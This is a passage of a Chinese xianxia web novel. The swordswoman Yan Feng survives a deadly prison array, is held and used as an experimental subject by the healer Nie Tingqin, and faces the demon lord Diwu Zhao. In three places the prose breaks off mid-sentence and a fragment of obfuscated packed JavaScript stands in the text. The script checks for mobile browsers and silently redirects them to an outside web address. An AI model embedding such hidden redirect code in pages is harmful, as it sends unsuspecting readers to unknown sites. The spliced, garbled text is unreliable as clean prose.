“鄢姐姐,我知道你入魔了,可能不愿意和我说话——你是不愿意给我带来厄运,对吗?”他仔仔细细端详她一会儿,问,“现在……你是到了哀相?还是惧相?” 鄢丰不置可否地低笑了起来,她终于抬起头看着他的眼睛,出声反问:“你呢,你又是第几相?” 林叶愁露出一个莫测的笑容:“鄢姐姐猜不出来么?” 下一刻,鄢丰已经抽出剑,甘镬剑一下贯穿他的心脏! 刹那之间,魔气暴涨,惊动守卫,急促的脚步声由远及近,他们匆忙赶过来,正看到鄢丰脸上没有一丝波澜,手中、脸上却已经溅满温热的血液! 那少年却诡异地笑了起来,心口的伤处露出森森肋骨,一粒粒木屑却从他的心口迫不及待地钻出来,经过血液的灌溉,竟然正以肉眼可见的速度长出一株嫩芽来! 鄢丰也不可置信地睁大眼睛,林叶愁却毫不意外,笑着捏住鄢丰的剑,迫使它刺得更深。 “鄢姐姐真聪明啊。” 下一刻,剑毫不犹豫地抽出,这一次,贯穿了他的左眼。 鄢丰的声音出奇冷静,她看着他,一字一顿道:“那日在新垣城结界中,我见过你。” 林叶愁不置可否,只是笑着看着她。 “当日是我亲手砍掉了你的手、脚……头颅。”魔气随着她的话将她包裹了起来,魔纹终于开始若隐若现地出现在她身上、脸上。 温热的血液溅在脸上,不知从什么时候起,竟然开始让她感到无端地兴奋和震颤。 从尚贤城离开的那一天,亲手剜去节葬楼百余名无明之人的眼睛的那一天,除了恐惧,除了愧疚,一股无名的震颤和兴奋便悄悄在她的心中滋长。 鄢丰只能强自压下这份震颤,竭力让声音平稳下来:“你到底是什么?” 幼苗仍然在不断夺走他的生命力,林叶愁却满不在乎似的耸耸肩: “在元城,你不是见过一次吗?” 鄢丰定定看着他心口那颗纯黑色的魔心,心如乱麻,听到少年的答话,第五霖、第五昭心口钻出幼苗时痛苦而诡异的样子,还有傀儡家中一夜枯萎的神树交叠浮现,她不可置信地睁大眼睛,林叶愁见状笑了起来: “鄢姐姐那么聪明,不如来猜一猜吧……到底是我的欲念滋养了神树,还是神树的贪婪……吃掉了我?” 仿佛要印证他的话一样,那株幼小的新芽忽然疯长起来,林叶愁眼中的最后一点儿黑色也被鲜红的血色丝线紧紧绑缚住、而后取而代之。 在红色彻底覆满他的眼睛的瞬间,“轰”的一声,神树疯狂生长起来,破茧而出,竟有冲天之势! 魔心应声碎裂,化作碎碎星点,融合进了它的来处之中。 莹莹的光芒包裹起初初长成的神树,在它的周身竖起一层浅黄绿色的护罩,带着生命初生的色彩,将这棵初生的神树牢牢护住。 与此同时,那已经被神树孵化而成的怪物,低声嘶吼着,身体几乎硬生生被锋利的长剑劈成两半,从剑上晃悠悠地落了地,尖利的指甲朝着鄢丰而来! 鄢丰对上它仅剩一只的眼睛,挥出一剑,试图一击毙命。 可是谁知他的目标根本不是她,剑擦着眼角飞过,“铛——!” 一声巨响,钢铁的牢门硬生生被掰开一个可供两人出入的洞口,怔愣在牢门之外的守卫大惊失色,却在下一刻很快反应过来,立刻列阵,严阵以待! 可是他们似乎毫无对付这种怪物的经验,“非攻”、“兼爱”、“节用”……接连用处,灵力和墨术接二连三地打在怪物的身上,后者却根本无动于衷。 它两只手臂都掉在地上,甚至双腿也被守卫利落地砍断,可是这好像进一步加快了他移动的速度,它现在正以一种极为诡异但又速度极快的姿势,朝着那些周身隐隐溢出灵气的守卫,蓄势而去! “剜它的眼睛!” 鄢丰回过神大声提醒,为首的守卫看了她一眼却无动于衷,只是带着身后的手下,慢慢后退着将它和她全都围在了正中央! 下一刻,牢门下光芒大盛。 这个牢房当中,被茅草遮挡住的地面上,原来画着一个刚好可以容纳两个人的节葬阵! 和墨侠城中的节葬楼一样—— 他们要将这两个入魔者,全部杀掉! 鄢丰站在巨阵当中,腹背受敌。 那怪物无差别地攻击所有人,又毫无章法,有的时候它冲着守卫而去,龇出尖利的牙齿撕烂他们的铠甲,有的时候又转过身,拿尖利的指甲刺穿她的皮肤。 但是很快鄢丰就发现—— 它和当日那些新垣城的百姓一样,是被人控制的。 她停了下来。 “嗤——” 利器没入血肉的声音传来,鄢丰对肩上的剧痛无动于衷,静静立在原地,观察起周遭环境中的所有人。 这里一共只有十二个人。 十个守卫将他们团团包围,包围圈的中间,只有她和“它”。 血腥气从喉间涌上来,鄢丰微微清醒了一些。 此刻,这具行尸和她的距离很近,机会正好。 鄢丰抬起剑,朝着它的眼睛而去! “嗤!” 阵法在这一刻发动! 与此同时,长剑准确地贯穿了鄢丰身后那名墨家守卫的铠甲。 剑芒锋利,一剑封喉。 血沫争先恐后地从这守卫的喉咙里向上涌出,他不可置信地失力后退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557298|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 为首的守卫惊怒交加,节葬阵应声启动,光芒大盛,将每一个人的眼睛都蒙蔽起来,只有铺天盖地的白色昭示着阵法剧烈的力量波动! 鄢丰与那具行尸一起站在阵眼之中,巨量灵气争先恐后地涌进她的心口,与已经深深渗入她心中的那些魔气缠绕在一起,它们彼此排斥,水火难容,因而为她带来难以忍受的噬心之痛。 鄢丰吐出一口血来,支着剑倒在地上。 那些守卫受了惊,却仍然一言不发,九柄长枪犹嫌不够一般朝她刺来。 鄢丰抬起头,血色漫上她的眼睛,她眼睛通红,却盯着为首的那名守卫,一字一顿,无比清晰地说: “墨侠派弟子鄢丰,求见钜子。” 他们仍然无动于衷。 那一刻,鄢丰看着他们木然的神情,突然觉得,他们的样子……和那些已经成魔的人,又有什么分别? 身后却传来一声轻笑:“且慢。” 一名衣着华贵的女子突兀地出现在牢门之前,那些毫无停顿的长枪听到这道声音竟然立刻条件反射一般停在了半空。 女子看到眼前的一片狼藉竟然没有任何表情变化,她闲庭信步踱进牢中,站定在鄢丰面前,俯下身,细细将她端详一会儿。 “你就是鄢丰?” 九柄长枪虽然停了下来,可是节葬阵却还在源源不断将灵力强灌入她的心脏,片刻不停,甚至有越来越快的趋势。 鄢丰感到心脏传来一阵无法忍受的痉挛,血液已经从她的七窍当中不可抑制地汩汩流出。 女子修长白皙的手指划过她的脸颊,一尘不染。 鄢丰反应慢了半拍,艰难答她:“是。” 那女子却对她眼前的伤势视而不见,戏弄似的又问:“那个曾经使出过‘非命’的,那个曾经对天发誓要成为救世之主,那个曾经的昆山第一剑,鄢丰?” 鄢丰不答,反而垂下眸,不肯再同她对视。 女子却并不在意,继续说:“你的伤势很重。” 鄢丰确定道:“你不是墨家弟子。” “哦?”女子微微挑眉,“何以见得呢?” 因为…… 墨家修士,可以有无数的“道”,可是无论这“道”是什么样的,他们选择墨家最重要的原因却始终如一—— “兼”与“爱”。 只是“爱”还不够,只有兼相爱,才是所有墨家弟子的理想。 鄢丰咬牙忍受着钻心的痛楚,不论她说什么都不再回答。 那女子眼中划过一抹盎然的兴味,打量了她一会儿,道:“你的伤势很重。如果你再不离开这节葬阵,很快就会死在这里。” “……” “你对墨家就这样忠诚么?”她眼中划过讥讽的笑意,“死到临头了,你还要帮他们拔出内奸。可他们,又是怎么对你的?” 那些警惕地护在她身后的守卫们听到这话,终于露出一点儿隐晦的惊讶之意。可是仍然一动不动,坚守在岗位上,似乎还在防备鄢丰突然暴起伤到这名女子。 鄢丰咬牙问:“你到底是谁?” “要不要跟我走?”女子不答,只是循循善诱地说,“跟我回去,来我们这边……我们会善待你。” 鄢丰心中闪过很多种可能。 法家?法家的人过于依赖法律,是有可能养出这样玩世不恭的人的。 儒家?荀儒一派的人以明分使群为特色,这人看起来也是地位尊崇的存在。 也可能是孟儒一派。他们的先祖孟轲毕竟是一个激情四射的存在,这女子的玩世不恭之下似乎也藏着这样的一种气质。 但也可能是道家的人。鄢丰蹙起眉,一时间拿不准她的来路。 女子玩味地笑着:“如何,猜出来了么,我是哪一家的人?” 血终于把眼前最后的一点光线也黏住了,鄢丰却确信地开了口:“儒家,荀派。” 女子不置可否,只问:“你还不想死吧?还是说,”她偏过头,“你就一定要留在墨家?” 鄢丰顿了顿,在视线彻底被黑暗遮蔽之前,嘶哑着声音,说:“……请前辈救我。” 女子露出一个满意的笑容来,节葬阵竟然就随着她这一笑,停了下来。 红线丝丝缕缕坠落在地,一双年轻的眼睛落在地上,微微弯着……死不瞑目。 48. 群魔(五) 再次醒来的时候,眼前是一片漆黑,照不进一点儿光。 鄢丰试探着动了动手指,缓缓坐了起来。 “醒得真快。” 一道女声由远及近,她似乎正慢慢朝着她走来。 ——还好,至少听觉尚在。 对方似乎看出她的想法,说:“不必担心,到了这‘妙手仁心’之地,你便是再在节葬阵里多呆上十柱香,半只脚踏进了阎王殿,也能把你从阴曹地府里拉回来。” 她的话隐隐藏着一点儿讥讽,又似乎别有深意,鄢丰不能全部理解,她只从这番话里,听出一点: “这里是医家?!” “不错。”一只手毫不收力,一下拍在她断臂的切口上,“当年,鄢小道友那一手双剑流,在我们这一辈里,可是惊艳了不少人。” 鄢丰蹙起眉,偏过头摸索着转向女子所在的方向:“鄢丰谢前辈救命之恩。可否请教前辈名讳?来日若鄢丰有幸活下来,必定报答前辈今日之恩。” “你已经有了猜想,何必明知故问?” 鄢丰沉吟片刻:“当年修界盛会,晚辈曾见过一道,至强的北辰之术。时至今日……犹难忘怀。” 她看不到女子微微勾起的唇角,偏过头,试探着问: “如果晚辈猜得不错,前辈可是荀儒一派的圣人……聂听琴聂前辈?” 女子不置可否:“你在此安心修养吧,待到你重拾你那双剑流以后,再来谈谈,你该如何报答我的救命之恩的事吧。” 鄢丰听出她的意思,不由有些惊喜,却又很快想起什么似的,又蹙起眉头。 女子看她神情,反问:“怎么,你不愿意?” 鄢丰手下意识抚上腰间的墨牌,犹豫片刻,道:“实不相瞒……晚辈此行墨城,有要事要办。恐怕不能在此过多停留。” 说到这里,她摇摇晃晃站起来,又被一只手强摁着坐了回去。 女子微冷的声音从头顶传来:“急什么,我好容易将你从鬼门关拉回来,就这么迫不及待要回去?” “我不是在同你商量,你答应或者不答应,都要留在这里。没有我的允许,你信不信……”顿了顿,她的声音更冷了几分,还隐隐藏着一点势在必得的信心,“你连踏出这扇门一步都做不到?” “砰——” 不待鄢丰再说什么,响亮的关门声兀然传来,聂听琴竟已径自离开了。 门口传来一阵法力波动,鄢丰心微微一沉。 言出必行,她已经在门外布下禁制。 没有她的允许,她果真不可能离开这里半步了。 接下来的日子,有弟子进进出出来为她换药,她在节葬阵中伤及了心脉,要静养一段时间,才能着手修复右臂。 鄢丰心中有事,一再想要求见聂听琴,可这些弟子知道她已步入七相,怕她将厄运带到自己身上,对她都是唯恐避之不及,除开最为必要的交谈,无论她说什么,他们都无有应答。 眼睛也丝毫没有好转的迹象,每天睁眼闭眼都是一片黑暗,这让她的心中更是焦灼万分。 就在这时,一道清亮的女声将她唤醒,听上去年纪不大,声音几分稚嫩。 “你是鄢丰姐姐,对吗?” 药箱放在桌上,发出轻微的响动,女孩儿的声音却极有穿透力,还隐隐带着点儿新奇,自顾自道: “你好,我叫灵珠。师父让我来照顾你——从今天开始,换药的事情都由我来做!” 自那以后,来换药的人果真只有灵珠一人。 鄢丰知道,这是因为没有弟子愿意与无明者待在一起,才把这烫手山芋丢给了一个不谙世事的小姑娘。 偏偏灵珠乐此不疲。 她受的伤多了,对痛的忍耐力本就强于常人。 灵珠换药的动作虽然还有些生疏,可每次来时她都毫无避讳,兴致勃勃同她讲一些学堂趣事,伤口痊愈速度反而更快了些,连她心头尚存的隐忧,也都隐隐有消散的趋势。 接下来几天,灵珠都按时进门,一切似乎都风平浪静。 虽然灵珠每日来都很笑盈盈的,但鄢丰却不止一次触到她手上、手臂上、脸上的细小伤口。 一日换药时,鄢丰微微侧头面向灵珠,郑重道:“明日,你别再来给我换药了。” 灵珠不解地问:“为什么?” 鄢丰微微坐直身体,手准确地摸到她脸上的伤口,顿了顿,轻声问:“痛吗?” 灵珠一愣,一时间,屋内静默极了,鄢丰几乎以为灵珠已经离开了。 下一刻,一只温热的手拉住了她。 鄢丰讶异地转头,听到灵珠的声音近在咫尺:“鄢丰姐姐,你不要担心。” 她的声音很慢、很轻,带着一股安抚人心的力量,继续说:“师父说了,入魔也只是一种病而已。它再怎么强大,也只不过是天地阴阳、五行相生中的一种而已,就像鹤顶红、藏红花一样,没什么好怕的。”想了想,她又笃定地补充道,“我也不怕!” 鄢丰心中掀起一丝波澜。 原来她一直知道。 知道她的这份差事是冒着多大的风险,知道她是无明之人、身带厄运,知道她遭逢的厄运……全是因为接近了她。 “虽然现在,我们还不知道怎么样治好这种病,但是师父也说过——只要是病,总有一天,我们能够找到治好它的办法的—— “总有一天,我会治好你!” 鄢丰微微动容,半晌,她回握住灵珠的手,点点头: “好。我等着有一天……你来救我。” 灵珠终于高兴起来,连带着周围的气氛都变得轻快起来。 鄢丰却终于回过神,问:“不知你的师父是医家的哪位前辈?” 她第一次听说这样新奇的看法,不由对灵珠口中这位颇有见地的师父好奇起来。 “师父姓聂——聂、听、琴。”少女清越的声音一字一顿念出师父的名字,不无崇拜地抬起头,像在仰望着某人,“师父是这个世界上最厉害的医者!” “聂前辈?!”鄢丰陡然吃了一惊,顿了顿,她试探着问,“那你师父……如今可还在医家专修?” “不是的,师父……不是医家的人。” 鄢丰恍然明白了聂听琴对医家微妙的态度从何而来了。 她想起,很多年前,赵花骨尚且在世时,曾经委托她,护送一个人躲避医家的追杀,到儒家去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557299|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >鄢丰听了觉得有趣,便问: “医家素以妙手仁心得闻世间,什么样的人会被医家的人追杀?难道是惹上了毒派的人?” 赵花骨听到“毒派”便露出一个微妙的神色,片刻后她回答:“被追杀的,正是毒派的人。” 原来医家不知为何忽然开始“清理门户”,而被清理的对象,正是整个毒派。 “是……党派之争?” 赵花骨只告诫她:“别家的事情,我们不便插手打听。尤其是来日……你见到那一位,对于这事更是要三缄其口,最好是连最微末的一点儿好奇心,也都藏得好好的。” 鄢丰觉得更加疑惑了:“既然如此,我们擅自收留毒派的人,岂不更不合适?” 赵花骨叹口气:“年少时,我曾欠了她一个人情。如今她有难加身,我自然不能坐视不理的。而且……”她顿了顿,意味深长地看了鄢丰一眼,“你的事情,她或许也能帮上一点。只是那人脾气古怪,你可莫要惹到她了。” 鄢丰了然地点点头,又抑制不住对这位前辈感到好奇——连赵花骨这样温柔可亲的人都认证的“古怪脾气”,该是什么样子? 可惜直到到了儒家领地之内,鄢丰也没能正眼见她一面。 她始终坐在一台轿子里,从来没有露过面。 鄢丰甚至记得,他们送去的吃食饮品,也一概被扔了出来,轿子里的人竟完全不吃不喝,就这样过了整整一个月。 到了儒家地界,鄢丰记得,一双骨节分明的手罕见地挑开珠帘,轿子里的人露出半张脸,如玉一般的声音仿佛没有任何一点儿温度,冷冷地问: “谁是鄢丰?” 鄢丰赶忙上前一步:“前辈有何吩咐?” “上来。” 鄢丰一时间没能反应过来,那人又不耐烦地重复一遍:“上轿子上来。” 她谨记着赵花骨的告诫,一言一行都小心极了。 因此,她不敢多问,确认腰间佩剑还在,便上了轿子里去。 轿子里只孤零零坐着一个人,生就一张美艳动人的面孔。 却长着一双……极为凌厉的眼睛。 从她喊她上轿之后,鄢丰便始终感觉如芒在背。 此刻,终于见到了那视线的主人。 然而只有惊鸿一瞥,她朝她微微笑了笑,那双眼睛好像有摄人心魄的能力一般,下一刻,鄢丰便失去了意识。 ——记忆到这里戛然而止。 时至今日,鄢丰也不知道,自己是怎么回到的墨侠派,赵花骨又是否对此知情。 ……难怪她总是觉得聂听琴看上去有些眼熟。 鄢丰回味这这戛然而止的回忆,面色不禁凝重起来—— “鄢丰姐姐?你没事吧……?” 灵珠凑上来,担心地打量她。 鄢丰回过神,勉强笑了笑:“我没事。” “你认识师父吗?”灵珠问。 鄢丰点点头:“就是你师父将我从墨家游仕派带到了这里。” “原来是这样!”灵珠恍然地点点头,想起什么似的跟她说,“难怪今日师父还同我说,你心口的伤已经差不多养好了,过几日,她会亲自为你治疗右臂!” 49. 群魔(六) 半月之后,鄢丰的右臂果然逐渐恢复如初了。 她对此感到极为震惊——她从未想过,已经断掉、遗失在万魔窟的手臂,还能够再次重生。 “早知道前辈的儒家之术风姿不凡,不想在医道上也如此高明。前辈于鄢丰大恩,来日必当报答。” 聂听琴正拿着细细的小针,取了她的血收在碗中,听到她的话笑了一声: “不用等到来日……现在,我就有事需要你来帮我。” 鄢丰一愣。 她心中始终还是挂念着墨侠派的状况,因此急于离开,聂听琴早看穿了她的想法,懒懒道: “你已经在这里待了半月,再多待上几日,也不影响你的任务。” 鄢丰犹豫片刻,最终还是点头:“不知我能为前辈做些什么?” 聂听琴定定看着她道:“我要你……做我的试验品。” 她微微勾起唇,似乎在谈论什么愉悦的事情,似乎丝毫不考虑“试验品”这个词对于听者而言是个多有冒犯的词汇。 “不过,我也不会亏待你。”见鄢丰沉默,聂听琴又道,“你还不知道吧?医家……也有世代传承的试炼。可惜,医家这群蠢货,没人知道怎么开启。”顿了顿,她笑了笑,说,“只有我知道,开启试炼的办法。” “医家试炼……?” “不错。过了这么久,你不会对自己记忆的异常还一无所觉吧?” 鄢丰不置可否。 “你若帮了我的忙,我便能帮你,找回记忆。” 鄢丰垂眸,低声道:“如今,鄢丰道心尽毁、半步成魔……”她自嘲地笑了笑,“即便找回了记忆,又能如何?” 聂听琴看了她一会儿,意味深长地笑了: “鄢丰小道友……你为什么能够肯定,你忘记的事情里,没有影响着你的任务、你的试炼——牵一发而动全身的东西呢?” 鄢丰微微愣住,聂听琴已经朝她伸出手: “如何,要不要和前辈我,合作一次?” 鄢丰还是没有贸然答应,只盯着她,顿了顿,慢慢地问: “前辈……可是想用我的血,研究‘魔气’这种毒的解药?” . 鄢丰最终还是应下了聂听琴的要求。 可那天以后,不单聂听琴再也没有出现,连灵珠也不再来了。 她照旧被一道符咒困在这间房中,进出不得。 鄢丰困惑极了,却苦于无法与外界接触,只能待在屋里暗暗焦虑。 是夜,鄢丰望着窗外,天空一片漆黑,无风无月,一股陌生的气息突兀地出现在这座小院当中。 虽然碍于聂听琴的面子,医家的人给她安排了不错的客房,但仍然地处偏僻,很少有人踏足。 鄢丰蹙起眉,正要往外面一探究竟,门便被人狠狠踹了开来。 踹门的是个半大的少年,两人猛地打了个照面,双方都吓了一跳。 对上她的眼睛,那少年有些闪躲,却很快在伙伴的簇拥下挺起腰杆,问:“你就是师父说的那个,已经入魔了的人?” 鄢丰不答,她在思索他口中的“师父”是谁。 往后看去,他身后足足有十几个人,都是半大的孩子,脸上神情都半是恐惧半是防备,好像知道自己正面对着一个很危险的人一样。 “锐思,别跟她废话,快动手!” 唯有这个站在小少年身后的小胖子不一样,他脸上看不到半点儿恐惧,只有不加掩饰的厌恶。 见锐思愣在原地,他立刻出声催促,还推了他一把。 名叫锐思的小孩其实看起来也没有多大,但是看起来有主见极了,闻言也不再犹豫,像是下定了什么决心似的。 他从袖子里拿出几张黄色的符纸,正要注入灵力,手腕却被冷不丁出现的一只手握住了。 鄢丰看出他们来者不善,语气也带上了几分警惕,冷声问:“你们想做什么?” 锐思没有想到她这样强势,一时间张口结舌,说不出话来,可他身后的小胖孩儿突然急了,跑上来抢过锐思手里的符纸,又要念咒! 鄢丰正要抬手抢下他手中那沓符咒,门口却忽然涌动起一阵浓郁的魔气,灵珠微弱的哭声也在同一时刻响了起来: “救命……好黑……锐思、滕河……你们在哪里?啊!救命——救命!” 鄢丰心下一沉,下意识抬步往声音传来的方向而去,那小胖子竟然就趁着她出神之际,力气极大,一下夺回符纸,口中飞快念诀发动了那张符咒! 鄢丰此刻已经顾不上这些捣乱的孩子,一门心思往外走。 身后,符咒闪烁起微弱的光芒,化作一根根银针,朝鄢丰而来! 鄢丰此刻不过凡人之躯,她走了几步察觉不对,才似有所感地回过头,眼前唯有刺眼的银光,下一刻,那些银针已经速度飞快地尽数没入她的手臂之中! 刺痛传来,一根根血线与半空中的符咒连接在了一起,在片刻之后被这枚符咒尽数吸收。黄色的符纸微微发红。 ——这竟然是一张用以取血的符咒! 意识到不妙,鄢丰脸色一沉。 可灵珠的声音已经越来越小、越来越小—— 进退两难。 但很快,她就发现,其实根本不需要选择。 那些孩子反应比她更快,取了她的血便拼了命往外跑,可到门口却发现,门上不知何时被人贴上数张明黄的符咒。 一股浩然的灵力昭示着这是儒家独有的符咒,可上书小篆却清清楚楚,写着“霸道”二字。 这是只有儒家荀派才能驱使的,极为强力的封锁咒印—— 一切生灵,只能进,不能出。 与此同时,鄢丰已经找到了被绑缚在院中角落的灵珠,看到她并无大碍,她松了口气,正要上前去为她松绑,眼前却突兀地出现一股熟悉的魔气。 黑影一闪,女孩儿清脆的声音夹杂着恐惧划破夜空: “救命——” 鄢丰眼睁睁看着一团凝成实质的黑气,先她一步,毫无保留地朝着被绑在角落里的灵珠而去! 鄢丰下意识拔剑出鞘,可是她心里清楚地明白—— 来不及。 她如今没有灵力傍身,根本不可能挡下这道极强、极快地魔气。 ……但还是要试一试。 鄢丰暗下决心,脚下加快速度,咬牙要抢在魔气到达之前挡在灵珠面前,却不想有人比她更快! ——“锐思!” 一道小小的身影兀地出现在灵珠面前,硬生生用自己的身体替她挡下了这一击! 滕河抢着跑上前去,接住锐思无力坠落的身体,鲜血止不住地从他的胸膛渗出,将他白色的弟子服都染得血红血红。 他几乎奄奄一息,却还是挣扎着从袖中拿出那张吸了血的符纸,颤巍巍递给滕河,气若游丝地催促他:“快、快……” 滕河重重点头,莹白的灵力将那张符纸包裹起来,朝着被绑缚在身后的灵珠而去! 鄢丰闻言瞳孔骤缩,却根本来不及去阻止。 因为那隐藏在黑暗中的罪魁祸首,在魔气击中锐思的同时,便不急不缓地迈步,走了出来。 魔气有增无减,蓄势待发。 顾不上身后的情况,鄢丰只能握紧剑柄,闪身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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左右支绌,难以为继。鄢丰只能且战且退,勉力招架。 可是那道幻影的存在感强到让她难以忽视的程度,很快,她的面前,第五昭的一举一动好像全都远去了,取而代之的,是铺天盖地的血色—— 从一双沾满鲜血的手,从汩汩流血的胸膛,从一双流泪的眼睛,再到最后—— 一个小小的,被雪亮长剑贯穿的小孩儿。 鄢丰猛地睁大眼睛,缠绕在她眼中的丝线愈加鲜红刺目,闪烁之间,眼前的一切都消失了。 最后一眼,一个熟悉的身影从容地打开门,门上的那道符咒不知何时应该失效了,女子随手将它撕下来在指尖碾碎,姿态优雅、不急不缓地迈过门槛—— 正是聂听琴。 她看了鄢丰一眼便移开视线,转而朝着那些惊惧地抱成一团的孩子们,竟然微微笑了笑: “辛苦了……我的孩子们。” 灵珠和其他的孩子们都随着她的这句话顺从地跟在了她的身后。 从始至终,聂听琴都没有看她一眼,直到踏出门槛,才顿了顿,似有所感地回过头,看着她逐渐失焦的眼睛,轻轻地说: “好孩子,让我看一看……右臂恢复以后的你,如今的实力吧。” 门被人“砰”的一声关上,随风而逝的“霸道”被另一张取代,在门前闪着淡淡的金光。 这一回,是医家的符咒—— “止杀”。 50. 群魔(七) 那道幻影,随着灵珠的离开,也一并消失了。 鄢丰掩下心中的困惑与隐隐的不安,回神专心对付身后的第五昭。 指尖忽然被什么东西绊了一下,一股微妙的痒意在小指尾端颤了颤,鄢丰低下头,看到在愈发明亮的月光之下,一根泛着微弱莹光的红色细线,正迎着风微微颤动。 一端系在她的小指上,另一端,则连接着…… 面前这个人。 鄢丰不可置信地看着这根莫名出现的细线,心中一颤。 “……为什么?” 她难以置信,明知道没人能回应她的问题,却还是不可自抑地喃喃自问。 “呵,为什么?” 一道沙哑讥讽的声音却毫无征兆地将她的话重复一遍,鄢丰循着声音,对上第五昭的眼睛。 他的眼睛不知何时已经褪去了方才的猩红与空洞,恢复了往日黑曜石般的色泽。 但也正因如此,这双黑色的眼睛将他此刻的脸色衬得更加苍白了。 “……阿昭?” 她顿了顿,还是喊他。 分明血色已从他眼中褪去,鄢丰却无端觉得他似乎还是没有清醒过来,他只是以一种难以言喻的表情望着她,似乎有挣扎、有仇恨、有恼火,也有无奈,和欲言又止。 猜想在下一刻被验证,眼前忽然被一股浓烈炽热的魔气包裹,鄢丰下意识后退,手中剑已经在无意识中刺出,几乎立刻便要触及要害。 第五昭却全无反应,鲜血从他的心口流出,鄢丰及时止住剑势,第五昭的呼吸却已经近在咫尺,他几乎贴着她脸颊的皮肤,垂眸看着她,问:“杀了我吧,鄢丰。杀了我,为你的师门,为你的妹妹,为你所有失去的至亲至爱的人报仇……杀了我吧,鄢丰。” 这是他第二次对她说这样的话。 鄢丰却忽然前所未有地清醒,她收了剑,一下将他推开。 他似乎没想到她会这样动作,猛地被推开一点距离,下一刻,他睁大眼睛,不可置信地看到鄢丰拿起剑,毫不犹豫反手斩断了那条缠绕在两人指端的红线! “你做什么?!” 他遏制不住自己发出嘶吼,鄢丰却无动于衷地看着他,目光前所未有的冷淡。 她微微扯了扯嘴角:“你不是这样的意思吗?……你告诉我这是心魔誓的因果,于我而言,它是应该被斩断的。于你……亦然。” 第五昭怔愣地听着她的话,沉默了半晌,忽而不可抑制地狂笑起来:“哈哈哈哈哈……哈哈哈哈……好,应该?应该被斩断?那是当初,你一定要我和你,强行链接的因果线!” 鄢丰却死死看着她,半晌,声音突然变得轻轻的,轻声问他:“事到如今,你也还是不肯对我说实话吗?” “什么?”第五昭茫然地睁大眼睛,下一刻,那股浓郁的魔气忽然被人收敛起来,鄢丰暗暗松口气,知道他这样才是真的清醒过来。 她将甘镬剑收入鞘中,终于笑了笑:“现在可以告诉我,那条线是什么了么?” 恢复清醒之后,第五昭便不再开口,任她怎么说,他只是一味地沉默,眼神像是一个心如死灰的人,走在一条绝路之上,连一点儿波澜也不能泛起。 鄢丰于是也不再说话。 偌大的庭院中,一黑一白的人影相对而立,唯有那条被斩断的鲜红的因果线,刺目极了。 鄢丰忽然觉得奇怪。 ——为什么这一次,因果线没有消失? 却忽然听到第五昭冷哼一声:“你忘了那个心魔誓吗?” 鄢丰一愣。 当时在魔域,为了与他同担罪责,她曾经与他立下心魔誓,行过拜师礼。 可是在失落之地,她已经斩断了与他的所有因果线,包括师徒,包括过去,甚至包括,他转世之前的一切—— “你真的以为,心魔誓这样的因果,是那样容易斩断的?”第五昭看出她在想什么,出声讥讽道,“你自己一直说的——‘心魔誓乃是天道作证,除非死亡,绝无可能违反……’”他偏过头,玩味地看着她,“即便是李微雨,也没有这样的能耐。” 鄢丰蹙起眉。 “那日在昆仑,我没能在满月夜赶回来,心魔誓已经消散了。” 第五昭说:“你知道心魔誓为什么叫心魔誓吗?” 鄢丰一愣。 一个不好的猜想在她心中成型,然而她仍然不愿意置信,只是顺着第五昭的问题问:“……为什么?” “因为,有心便有心魔,每个人的心中,都有一个魔障的种子。所以,心魔誓不是天道作证,而是……以你心中的‘魔’作见证,你才永无可能违反啊。” 鄢丰几乎不受控制地想起扒在灵珠肩上那道黑影,地上,被斩断的因果线愈发鲜红。 “……他们来取我的血,是聂前辈授意的。”她声音颤抖,却又显得冷静极了,“……她到底想要做什么?” “我们还是先想想怎么离开这里吧。原本,”第五昭看了一眼门上闪烁莹光的符咒,意味不明地笑了笑,“我是知道怎么出去的。” 鄢丰抬眸:“原本?” “原本——利用那条因果线,我们都可以毫发无损地离开。” “那是医家的符咒,你又如何知道破解的方法?” 第五昭笑了笑:“现在,我不是魔君,是你们人族正道的……俘虏啊。” 他说得轻松极了,仿佛根本未曾将此当做羞耻之事。 看到鄢丰疑惑的神情,他慢慢道:“昆山灭门那日,人族正道向魔域宣了战。” “……然后,温冥打败了你?” 第五昭眼中露出嘲弄之色:“凭他?她的那些雕虫小技,本不能奈我何。可是他……”他声音萌的低沉下来,似乎溢满了仇恨,“他竟然和人族正道勾结,和飞羽残党勾结——当初……” 说到这里,他忽然意味深长地看了她一眼,顿了顿,才继续道: “当初我拼尽一切也要救他,可他竟然联合所有可以和我作对的势力,只是为了将我——亲手送到正道的手中。” 鄢丰愣了愣。 并非为了温冥的背叛,而是……她无端觉得,他原本想要说的,不是这一句话。 眼前再次闪过模糊的画面,与眼前绣着永夜暗纹的黑衣一般无二。 半晌,鄢丰忽然问: “我们……曾经认识么?” 这个问题出现得过于突然,以至于第五昭愣了一下,随即笑道: “认识,当然认识……”他抬起头,看着她的眼睛,一字一顿道,“你毕竟……是她的姐姐。” 